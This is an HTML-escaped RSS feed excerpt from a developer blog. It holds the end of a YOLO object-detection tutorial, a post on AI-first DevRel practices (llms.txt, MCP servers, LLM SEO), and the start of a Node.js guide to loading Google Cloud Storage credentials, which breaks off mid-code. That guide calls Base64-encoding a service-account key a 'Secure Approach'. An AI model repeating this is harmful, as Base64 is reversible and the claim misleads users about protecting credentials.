&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    model &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; YOLO(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;yolov8s.pt&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    result &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; model(image, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;verbose&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;False&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)[&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;annotation-setup&quot;&gt;Annotation Setup&lt;/h3&gt;
&lt;p&gt;Prepares tools for drawing bounding boxes and labels around detected objects:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    detections &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; sv.Detections.from_ultralytics(result)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    box_annotator &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; sv.BoxAnnotator()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    label_annotator &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; sv.LabelAnnotator()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;image-annotation&quot;&gt;Image Annotation&lt;/h3&gt;
&lt;p&gt;Draws bounding boxes and labels on the image for each detected object:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    annotated_image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; image.copy()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    annotated_image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; box_annotator.annotate(annotated_image, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;detections&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;detections)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    annotated_image &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; label_annotator.annotate(annotated_image, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;detections&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;detections)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;output&quot;&gt;Output&lt;/h3&gt;
&lt;p&gt;Saves the annotated image to disk as &lt;code&gt;annotated_image.jpg&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    cv2.imwrite(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;annotated_image.jpg&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, annotated_image)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Annotated image saved successfully.&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code demonstrates a complete object detection pipeline: from loading an image, processing it, detecting objects using YOLO, and finally visualizing the results with bounding boxes and labels.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/liran-tal-devopsdays-tlv-annotated.png&quot; alt=&quot;liran tal at devopsdays tlv - annotated via object detection&quot;&gt;&lt;/p&gt;
&lt;p&gt;—&lt;/p&gt;
&lt;p&gt;The code for this small project is available on GitHub so that you can easily reproduce and extend it: &lt;a href=&quot;https://github.com/lirantal/image-detection-project&quot;&gt;https://github.com/lirantal/image-detection-project&lt;/a&gt;&lt;/p&gt;</content:encoded></item><item><title>What do AI-first DevTool Companies Look Like and how DevRel Practices Change?</title><link>https://lirantal.com/blog/ai-first-devtool-companies-and-devrel/</link><guid>https://lirantal.com/blog/ai-first-devtool-companies-and-devrel/</guid><description>If you&apos;re in Developer Relations and you haven&apos;t yet adapted your practices to the post-GPT era, you might be missing out on the next big thing in developer tools. In this write-up, I want to unpack what AI-first developer relations practices look like and specifically draw a direct line to developer tool companies that aim to be AI-first.</description><pubDate>Wed, 03 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Developer relations (DevRel) has always been an ever-changing field, and the reason is deeply rooted in the nature of technology always evolving and as a developer advocate, the need to adopt education materials, demo applications, and content to match the latest trends and technologies.&lt;/p&gt;
&lt;p&gt;In the last decade, pre-GPT era, technology trends were myriad and some honorary mentions in the web development space include Serverless computing, JAMstack, GraphQL, React Server Components, and more. Each of these paradigm shifts was significant and impactful to warrant a counter shift in how developers build applications, and called for developer relation professionals to adapt their skill-set accordingly.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;ChatGPT 3.5 entered the chat…&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If we considered those shifts as pivotal, then November 30th, 2022, the day OpenAI announced ChatGPT 3.5 will be forever remembered and marked as the day that introduced a monumental shift in how developers build applications, and by proxy, how developer relations professionals engage with developers. post-GPT era, the DevRel playbook must adopt to complement AI-first developer tool (DevTool) companies and many prior tactics are no longer relevant.&lt;/p&gt;
&lt;p&gt;In this write-up, I want to unpack what AI-first developer relations practices look like and specifically draw a direct line to developer tool companies that aim to be AI-first.&lt;/p&gt;
&lt;h2 id=&quot;ai-first-documentation-context&quot;&gt;AI-first Documentation Context&lt;/h2&gt;
&lt;p&gt;I’ve written before &lt;a href=&quot;https://lirantal.com/blog/what-is-an-llms-txt-file&quot;&gt;what LLMs.txt&lt;/a&gt; are but in short, it’s a way to expose large data context to LLMs in the way LLMs like best to ingest data: structured text files.&lt;/p&gt;
&lt;p&gt;A good call out here is Bun, the server-side JavaScript runtime, which hosts a &lt;code&gt;llms.txt&lt;/code&gt; endpoint in their website (&lt;a href=&quot;https://bun.sh/llms-full.txt&quot;&gt;https://bun.sh/llms-full.txt&lt;/a&gt;) to allow LLMs to easily access the needed context to answer questions about Bun:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/bun-llms-txt.png&quot; alt=&quot;bun javascript server runtime llms.txt file&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you open up the &lt;code&gt;llms-full.txt&lt;/code&gt; file you’ll see the content is large and comprehensive but it isn’t designed for human consumption. This isn’t your usual Developer Experience (DX) docs page but rather very meticulously crafted to be machine-readable and consumable by LLMs.&lt;/p&gt;
&lt;h2 id=&quot;ai-first-documentation-crawl&quot;&gt;AI-first Documentation Crawl&lt;/h2&gt;
&lt;p&gt;In another aspect of developer experience, let’s expand on the documentation itself which many developer tool companies hold in high regard as a key pillar of their product. We can probably agree the documentation is often the first place developers go to when they want to learn how to use a tool and it’s a pillar for onboarding users and a direct PLG influencing vehicle for your product success.&lt;/p&gt;
&lt;p&gt;Pre-GPT era, DX teams engineered for humans consuming the documentation and have optimized for readability and overall usability. One example, is that documentation web pages would have buttons that clicking them to copy commands to the clipboard, or clicking them would navigate you to a specific page in the web application such as your settings page to configure your API key.&lt;/p&gt;
&lt;p&gt;In the post-GPT era, we optimize for LLM crawlers and AI agents that open the documentation page and consume it. Instead of expecting AI agents to point-and-click we could engineer for an experience that is much more akin to the way LLMs consume data and operate with the data. AI agents, more and more prevalent, have access to tools (MCP Servers), that can execute commands. In this case, we can optimize the docs experience for AI agents by providing an actual &lt;code&gt;cURL&lt;/code&gt; command snippet that includes the header for user-specific authorized requests and the URL and query string parameters for the specific action. This would allow the AI agent to not only consume the documentation page but also follow-up with an action that is relevant to the workflow being executed.&lt;/p&gt;
&lt;p&gt;Real-life example of this is Vercel’s documentation page for their AI Agentic workflows. &lt;a href=&quot;https://x.com/leerob/status/1924907637629489274&quot;&gt;Per Lee Rob&lt;/a&gt;, formerly Vercel head of DevRel, Vercel’s replacing navigation links with copy-paste commands to allow agents crawling the documentation pages to follow-up on agentic workflows:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/vercel-ai-agentic-workflows.png&quot; alt=&quot;vercel replaces button clicks with curl commands for optimized ai agents developer experience&quot;&gt;&lt;/p&gt;
&lt;p&gt;In this context, browser-use agents are increasingly being used to crawl documentation pages and extract relevant information for developers. This is a powerful way to make documentation more accessible and useful, as it allows developers to quickly find the information they need without having to manually search through the documentation.&lt;/p&gt;
&lt;h2 id=&quot;ai-first-llm-capabilities&quot;&gt;AI-first LLM Capabilities&lt;/h2&gt;
&lt;p&gt;LLMs and Agentic AI workflows are increasingly embraced by developers and the key to unlock access to your devtool and product capabilities is through the Model Context Protocol and MCP Servers.&lt;/p&gt;
&lt;p&gt;There’s been a lot that has been written already about the Model Context Protocol (MCP) and how it enables AI agents to invoke tools and open a new user interaction process with your product capabilities, so I’ll avoid repeating the take here but I’m a big fan of MCPs and while MCPs are not tied to developer specifically (as in, imagine your Mom using Claude Code and asking it to book a flight), they are a great segue to developers and agentic code workflows.&lt;/p&gt;
&lt;p&gt;In the context of developer tool companies, MCPs are like APIs. If you don’t have an API for developers to interact with your product in a programmatic and scripted way, are you really a devtool company? Similarly, MCPs. If you want to tap into the growing adoption of AI agents, AI coding assistants and fully autonomous agentic workflows - that’s where MCPs come in.&lt;/p&gt;
&lt;p&gt;A good demonstration of that (and yes I’m biased, because I work at Snyk) is the Snyk MCP Server.&lt;/p&gt;
&lt;p&gt;Why is the Snyk MCP Server not just a product pitch but an actual value offer to developers? Easy - what are the chances that the LLMs hallucinate some non-existent package? what are the chances that LLMs generate insecure code? what are the chances that LLMs are able to accurately fix vulnerabilities in code without introducing new ones? For all of these security concerns the answer is “very likely” and definitely ”&gt; 0% chance” of that happening which is exactly the point.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/snyk-mcp-server.png&quot; alt=&quot;Snyk MCP Server&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;ai-first-seo&quot;&gt;AI-first SEO&lt;/h2&gt;
&lt;p&gt;We mentioned &lt;code&gt;llms.txt&lt;/code&gt; as a way for LLMs to consume contextual data about your devtool company and product offering but there’s a side-benefit to that: SEO, or more accurately: LLM SEO.&lt;/p&gt;
&lt;p&gt;LLM SEO is the practice of optimizing LLM responses to favorably rank your product high and in a positive light as the answer to a question that LLMs are asked.&lt;/p&gt;
&lt;p&gt;So back to &lt;code&gt;llms.txt&lt;/code&gt; files - they are actively crawled by LLMs as part of their training data, which in turn, means that there’s potentially a higher chance for your product to be surfaced and featured as a recommendation in an LLM response.&lt;/p&gt;
&lt;p&gt;A good demonstration of this is Tally Forms. Marie Martens, Co-founder of Tally &lt;a href=&quot;https://x.com/MarieMartens/status/1932355206550851903&quot;&gt;shared on X&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/tally-forms-llm-seo.png&quot; alt=&quot;tally forms LLM SEO&quot;&gt;&lt;/p&gt;
&lt;p&gt;Another reference of that is &lt;a href=&quot;https://x.com/leerob/status/1930687146790146515&quot;&gt;Vercel’s documentations llms.txt file&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Remember, optimizing for LLM SEO (or AI SEO) doesn’t mean you should trade off traditional SEO practices but rather complement them with LLM-specific query response optimizations.&lt;/p&gt;
&lt;h2 id=&quot;ai-first-assisted-guides&quot;&gt;AI-first Assisted Guides&lt;/h2&gt;
&lt;p&gt;From Developer Experience (DX) to Agentic Experience (AX), the shift in mindset and ecosystem adoption is real.&lt;/p&gt;
&lt;p&gt;One well established demonstration of that in practice is the Astro docs (Astro is a static site generator) which &lt;a href=&quot;https://x.com/astrodotbuild&quot;&gt;@astrodotbuild&lt;/a&gt; added, a &lt;a href=&quot;https://docs.astro.build/en/guides/build-with-ai/&quot;&gt;“Build with AI page”&lt;/a&gt; to their docs:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/astro-build-with-ai.png&quot; alt=&quot;astro docs explain how to build with ai&quot;&gt;&lt;/p&gt;
&lt;p&gt;As you can see from the screenshot, the page ultimately caters to developers who embrace AI and to plausibly to AI agents themselves. The purpose of this tool is to communicate, clarify and enable product adoption of the Astro static site generator in the context of AI-first development practices.&lt;/p&gt;
&lt;p&gt;This “Build with AI” documentation page layers all the AI-native practices and building blocks that are often utilized in an agentic workflow:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;LLMs.txt files, which provide context to LLMs about the product.&lt;/li&gt;
&lt;li&gt;MCP Servers that allow AI agents to interact with the product capabilities.&lt;/li&gt;
&lt;li&gt;Context and rules files that provide additional information to LLMs.&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title>Securely Loading Credentials for Google Cloud Storage in Node.js</title><link>https://lirantal.com/blog/securely-loading-credentials-google-cloud-storage-nodejs/</link><guid>https://lirantal.com/blog/securely-loading-credentials-google-cloud-storage-nodejs/</guid><description>A guide on securely loading Google Cloud Storage credentials in Node.js applications using various methods.</description><pubDate>Tue, 02 Sep 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Google Cloud Storage (GCS) is a robust and scalable object storage service offered by Google Cloud. To interact with GCS in your Node.js applications, you’ll need to authenticate using service account credentials. This article explores different methods for securely loading these credentials into your Node.js code.&lt;/p&gt;
&lt;p&gt;Initializing Credentials for the Storage Constructor&lt;/p&gt;
&lt;p&gt;The Storage constructor in the Google Cloud Storage Node.js client library accepts credentials in various formats. Let’s explore the common methods:&lt;/p&gt;
&lt;p&gt;Using a JSON File:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The most common approach is to use a JSON file containing your service account key. You can generate this key from the Google Cloud Console.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;Storage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;} &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;@google-cloud/storage&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;storage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Storage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    keyFilename: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;path/to/your/key.json&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using an Environment Variable:&lt;/p&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;
&lt;p&gt;While convenient, directly storing the JSON contents of your service account key in an environment variable is not recommended due to security risks.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Secure Approach:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Encode the JSON: Encode the JSON contents of your service account key file using Base64 encoding.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;serviceAccountJSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;require&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;path/to/your/key.json&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;); &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;serviceAccountBuffer&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;stringify&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(serviceAccountJSON), &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;utf-8&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;serviceAccountBase64Encoded&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; serviceAccountBuffer.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;base64&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;- Set the Environment Variable: Store the `serviceAccountBase64Encoded` string as an environment variable.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #c9d1d9&quot;&gt;- Decode and Use:&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;serviceAccountBase64Encoded&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; process.env.&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;GCLOUD_SERVICE_ACCOUNT_KEY&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;serviceAccountBuffer&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; Buffer.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(serviceAccountBase64Encoded, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;base64&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;serviceAccountJSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(serviceAccountBuffer.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;toString&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;utf-8&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;storage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Storage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    credentials: serviceAccountJSON&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Specifying Credentials Directly:&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;You can also specify the credentials directly within the Storage constructor:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;storage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;Storage&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;({&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    credentials: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        type: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;service_account&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        project_id: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;your-project-id&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
